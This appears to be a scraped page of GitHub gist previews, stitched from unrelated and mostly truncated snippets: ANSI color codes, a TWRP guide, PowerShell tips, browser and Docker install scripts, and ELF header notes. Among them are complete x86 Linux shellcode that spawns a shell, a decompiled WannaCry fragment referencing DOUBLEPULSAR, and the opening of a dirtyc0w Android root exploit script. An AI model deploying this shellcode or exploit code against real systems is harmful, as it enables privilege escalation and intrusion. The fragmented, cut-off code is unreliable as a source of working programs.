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@alloncm
alloncm / x86shell.asm
Created December 19, 2021 18:10
x86 Linux - Spawn a shell shellcode
mov eax, 0x0068732f
push eax
mov eax, 0x6e69622f
push eax
mov eax, 0x0b
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80

ELF

ELF Header

The first portion of any ELF file is the ELF header. This generally provides offsets to other headers (program headers and section headers) within an ELF.

typedef struct {
  unsigned char e_ident[EI_NIDENT];
 uint16_t e_type;
@Prakasaka
Prakasaka / bash-colors.md
Created July 25, 2020 09:14 — forked from JBlond/bash-colors.md
The entire table of ANSI color codes.

Regular Colors

Value Color
\e[0;30m Black
\e[0;31m Red
\e[0;32m Green
\e[0;33m Yellow
\e[0;34m Blue
\e[0;35m Purple

How To Make A Working TWRP Device Tree For Your MediaTek Device & Start Building Them, Online

This Guide is tested on 64-bit mt6735/53 chipset device. It will also work on any 64-bit and 32-bit devices.

You will need something from your Stock ROM first. Get them all and Try to modify it using the procedure.

Note: This guide will be helpful for you if you have older mediatek devices (android-5.1 or android-6.0), but up-to-date devices can also work.

Update: This guide had a few typos and derps (Oops..), but I've tried to make it free of those now (Dated November 18, 2020)

Bonus: You can also use this tool by @SebaUbuntu, @yshalsager and @mauronofrio to auto generate the twrp tree. The tool is best if your device runs on android-9.0. The tools is still not 100% compatible to all devices, but I'll still recommend it and give it 8.5/10 in the scale of varsatility.

Credit: Mark Kraus
Website: https://get-powershellblog.blogspot.com

Collection Type Guidence

When to use what

  • Use Arrays if you know the element types and have a fixed length and/or known-up-front collection size that will not change.
  • Use ArrayList if you have an unkown collection size with either unknown or mixed type elements.
  • Use a Generic List when know the type of the elements but not the size of the collection.
  • Use a HashTable if you are going to do key based lookups on a collection and don't know the object type of the elements.
  • Use a Dictionary<TKey, TValue> you are going to do key based lookups on a collection and you know the type of the elements.
  • Use a HashSet when you know the type of elements and just want unique values and quick lookups and assignmnets.
@nikallass
nikallass / Kali 2017.1 x64, Docker-ce Install script
Last active January 3, 2024 11:12
Kali 2017.1 x64, Docker-ce Install script
#!/bin/bash
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update
# remove previously installed Docker
sudo apt-get remove docker docker-engine docker.io* lxc-docker*
# install dependencies 4 cert
@msuiche
msuiche / WannaCry-SMB.c
Created May 13, 2017 08:39
WannaCry - DOUBLEPULSAR references
// https://twitter.com/msuiche
int threadMain()
{
unsigned int i; // edi@1
_DWORD *v1; // eax@2
void *v2; // esi@7
char v4; // [sp+13h] [bp-2Dh]@0
char v5; // [sp+14h] [bp-2Ch]@1
void *Memory; // [sp+18h] [bp-28h]@1
@pkorpine
pkorpine / install_vivaldi.sh
Created January 17, 2017 07:37
Add Vivaldi repo to Debian/Ubuntu
echo "deb http://repo.vivaldi.com/stable/deb/ stable main" | sudo tee /etc/apt/sources.list.d/vivaldi.list > /dev/null
wget -O - http://repo.vivaldi.com/stable/linux_signing_key.pub | sudo apt-key add -
sudo apt update && sudo apt install vivaldi-stable
@Arinerron
Arinerron / root.sh
Last active March 7, 2024 09:24
"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
#!/bin/bash
# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
@ruario
ruario / install-vivaldi.md
Last active September 8, 2021 13:48
This script automates extracting the contents of a Vivaldi package and installing it into the XDG data home directory (typically "$HOME/.local/share"). It also provides a convenient uninstall script.

Summary

Vivaldi Technologies currently only provide .deb and .rpm packages but it is possible to install it on different distros. This install script automates the process.

Install and Upgrade

You can use the script to fetch and install the latest public snapshot like so:

chmod +x install-vivaldi.sh # Only needed the first time